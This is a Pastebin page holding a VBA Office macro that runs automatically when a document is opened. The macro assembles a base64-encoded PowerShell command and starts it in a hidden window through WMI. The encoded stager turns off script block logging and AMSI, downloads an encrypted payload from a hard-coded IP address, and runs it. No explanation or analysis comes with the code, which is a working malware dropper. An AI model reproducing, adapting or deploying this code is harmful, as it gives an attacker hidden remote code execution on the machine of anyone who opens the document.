Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Sub Auto_Open()
- NxZA
- End Sub
- Sub AutoOpen()
- NxZA
- End Sub
- Sub Document_Open()
- NxZA
- End Sub
- Public Function NxZA() As Variant
- Dim y As String
- y = "powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVg"
- y = y + "BFAHIAcwBJAG8AbgBUAEEAQgBsAEUALgBQAFMAVgBlAFIAUwBp"
- y = y + "AE8ATgAuAE0AYQBqAG8AcgAgAC0AZwBFACAAMwApAHsAJABHAF"
- y = y + "AARgA9AFsAcgBlAGYAXQAuAEEAUwBzAGUAbQBCAGwAWQAuAEcA"
- y = y + "ZQB0AFQAWQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQ"
- y = y + "BnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBV"
- y = y + "AHQAaQBsAHMAJwApAC4AIgBHAGUAdABGAEkARQBgAGwARAAiAC"
- y = y + "gAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkA"
- y = y + "UwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQ"
- y = y + "BiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBmACgAJABH"
- y = y + "AFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAGUAVABWAE"
- y = y + "EATABVAGUAKAAkAE4AVQBMAGwAKQA7AEkAZgAoACQARwBQAEMA"
- y = y + "WwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZw"
- y = y + "BnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBw"
- y = y + "AHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAF"
- y = y + "sAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwA"
- y = y + "bwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQw"
- y = y + "BbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBn"
- y = y + "AGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAH"
- y = y + "AAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8A"
- y = y + "ZwBnAGkAbgBnACcAXQA9ADAAfQAkAFYAYQBsAD0AWwBDAG8ATA"
- y = y + "BMAGUAQwB0AEkATwBuAHMALgBHAEUATgBFAHIAaQBjAC4ARABJ"
- y = y + "AEMAdABpAG8AbgBBAFIAeQBbAFMAdAByAGkATgBHACwAUwB5AF"
- y = y + "MAdABlAG0ALgBPAGIAagBFAGMAdABdAF0AOgA6AG4ARQB3ACgA"
- y = y + "KQA7ACQAVgBBAEwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUw"
- y = y + "BjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBu"
- y = y + "AGcAJwAsADAAKQA7ACQAdgBhAGwALgBBAGQARAAoACcARQBuAG"
- y = y + "EAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8A"
- y = y + "YwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJA"
- y = y + "BHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBD"
- y = y + "AEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAG"
- y = y + "MAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQA"
- y = y + "bwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQ"
- y = y + "BwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBd"
- y = y + "AD0AJABWAEEAbAB9AEUATABzAEUAewBbAFMAYwByAGkAcABUAE"
- y = y + "IATABPAEMAawBdAC4AIgBHAGUAVABGAGkARQBgAEwAZAAiACgA"
- y = y + "JwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbw"
- y = y + "BuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBF"
- y = y + "AHQAVgBBAEwAVQBlACgAJABOAHUAbABsACwAKABOAEUAdwAtAE"
- y = y + "8AYgBKAGUAQwB0ACAAQwBPAGwAbABFAEMAVABpAG8ATgBzAC4A"
- y = y + "RwBFAE4ARQByAGkAQwAuAEgAYQBzAEgAUwBFAFQAWwBTAHQAcg"
- y = y + "BJAE4AZwBdACkAKQB9AFsAUgBlAGYAXQAuAEEAcwBzAEUATQBC"
- y = y + "AEwAeQAuAEcARQB0AFQAeQBQAGUAKAAnAFMAeQBzAHQAZQBtAC"
- y = y + "4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQA"
- y = y + "aQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJA"
- y = y + "BfAH0AfAAlAHsAJABfAC4ARwBFAHQARgBJAGUAbABEACgAJwBh"
- y = y + "AG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG"
- y = y + "4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUA"
- y = y + "dABWAGEATAB1AGUAKAAkAE4AdQBsAEwALAAkAFQAUgBVAGUAKQ"
- y = y + "B9ADsAfQA7AFsAUwBZAFMAdABlAE0ALgBOAGUAVAAuAFMARQBS"
- y = y + "AFYASQBjAEUAUABPAGkAbgB0AE0AYQBuAGEARwBFAHIAXQA6AD"
- y = y + "oARQB4AFAAZQBjAFQAMQAwADAAQwBPAE4AVABpAE4AdQBFAD0A"
- y = y + "MAA7ACQAdwBjAD0ATgBlAFcALQBPAEIAagBlAGMAVAAgAFMAWQ"
- y = y + "BzAHQAZQBNAC4ATgBFAFQALgBXAGUAYgBDAGwASQBFAE4AdAA7"
- y = y + "ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAG"
- y = y + "kAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYA"
- y = y + "NAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOg"
- y = y + "AxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAk"
- y = y + "AHcAQwAuAEgAZQBhAEQAZQBSAHMALgBBAEQAZAAoACcAVQBzAG"
- y = y + "UAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAYwAuAFAA"
- y = y + "cgBvAHgAWQA9AFsAUwB5AFMAdABlAG0ALgBOAGUAVAAuAFcARQ"
- y = y + "BiAFIARQBxAHUARQBTAFQAXQA6ADoARABFAGYAQQBVAGwAVABX"
- y = y + "AEUAYgBQAFIATwB4AHkAOwAkAHcAQwAuAFAAUgBPAFgAWQAuAE"
- y = y + "MAUgBFAEQARQBuAHQAaQBBAGwAUwAgAD0AIABbAFMAWQBTAHQA"
- y = y + "RQBNAC4ATgBlAFQALgBDAFIAZQBkAEUAbgBUAEkAQQBMAEMAQQ"
- y = y + "BDAEgAZQBdADoAOgBEAGUAZgBBAHUAbAB0AE4ARQB0AHcAbwBS"
- y = y + "AGsAQwBSAGUARABlAG4AdABJAGEAbABTADsAJABTAGMAcgBpAH"
- y = y + "AAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgA"
- y = y + "eQA7ACQASwA9AFsAUwB5AHMAVABFAE0ALgBUAGUAWAB0AC4ARQ"
- y = y + "BOAGMAbwBEAGkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQBU"
- y = y + "AEIAWQB0AEUAcwAoACcAXgBkAHsAUwBKADcANgApAE0AKAB4AF"
- y = y + "sAVgBnACUAdwBGADEARABsAEAAfQB6AGUAPQBwAFEAIwB1AG8A"
- y = y + "ZgBxACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARw"
- y = y + "BzADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8"
- y = y + "ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAF"
- y = y + "sAJABfACUAJABLAC4AQwBvAFUAbgB0AF0AKQAlADIANQA2ADsA"
- y = y + "JABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASg"
- y = y + "BdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAo"
- y = y + "ACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAF"
- y = y + "MAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQA"
- y = y + "UwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQ"
- y = y + "A7ACQAXwAtAGIAeABvAFIAJABTAFsAKAAkAFMAWwAkAEkAXQAr"
- y = y + "ACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAH"
- y = y + "IAPQAnAGgAdAB0AHAAOgAvAC8ANQAxAC4AMQA1AC4AOQA3AC4A"
- y = y + "NQA1ADoAOAAwACcAOwAkAHQAPQAnAC8AYQBkAG0AaQBuAC8AZw"
- y = y + "BlAHQALgBwAGgAcAAnADsAJAB3AGMALgBIAEUAQQBEAEUAcgBT"
- y = y + "AC4AQQBkAGQAKAAiAEMAbwBvAGsAaQBlACIALAAiAHMAZQBzAH"
- y = y + "MAaQBvAG4APQBpAGIANgA2AFcAUwB3AHcAagBpAFoAOQBGADkA"
- y = y + "TgBxAEsAZgAxAGoAMgBiAHIAdwB0AHEAbwA9ACIAKQA7ACQAZA"
- y = y + "BhAFQAYQA9ACQAVwBDAC4ARABPAHcATgBsAE8AQQBkAEQAQQBU"
- y = y + "AGEAKAAkAFMAZQBSACsAJAB0ACkAOwAkAGkAVgA9ACQAZABBAH"
- y = y + "QAYQBbADAALgAuADMAXQA7ACQAZABhAFQAYQA9ACQARABhAFQA"
- y = y + "QQBbADQALgAuACQARABhAHQAQQAuAGwARQBuAGcAVABIAF0AOw"
- y = y + "AtAEoAbwBpAG4AWwBDAEgAQQByAFsAXQBdACgAJgAgACQAUgAg"
- y = y + "ACQARABBAFQAQQAgACgAJABJAFYAKwAkAEsAKQApAHwASQBFAF"
- y = y + "gA"
- Const HIDDEN_WINDOW = 0
- strComputer = "."
- Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
- Set objStartup = objWMIService.Get("Win32_ProcessStartup")
- Set objConfig = objStartup.SpawnInstance_
- objConfig.ShowWindow = HIDDEN_WINDOW
- Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
- objProcess.Create y, Null, objConfig, intProcessID
- End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement